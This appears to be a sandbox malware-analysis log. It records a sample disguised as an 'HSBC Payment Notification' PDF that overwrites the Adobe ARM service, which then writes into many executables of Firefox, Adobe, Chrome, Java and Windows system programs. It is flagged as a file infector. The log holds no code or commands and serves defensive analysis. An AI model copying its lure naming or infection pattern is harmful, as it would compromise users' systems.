Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\vds.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Windows\System32\alg.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\7-Zip\7zFM.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\snmptrap.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\Spectrum.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\Locator.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\7-Zip\7z.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\chrmstp.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Windows\System32\AppVClient.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\notification_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\SysWOW64\perfhost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\7-Zip\7zG.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\msiexec.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\VSSVC.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\wbengine.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\SearchIndexer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\TieringEngineService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\chrome_pwa_launcher.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\AgentService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\FXSSVC.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\OpenSSH\ssh-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\elevation_service.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\SensorDataService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\msdtc.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: \hsbc payment notification scan copy ref 62587299-24_pdf.exe
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: \hsbc payment notification scan copy ref 62587299-24_pdf.exe			Jump to behavior

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\vds.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\snmptrap.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\Spectrum.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\Locator.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\7-Zip\7z.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\chrmstp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\AppVClient.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\SysWOW64\perfhost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\7-Zip\7zG.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\setup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
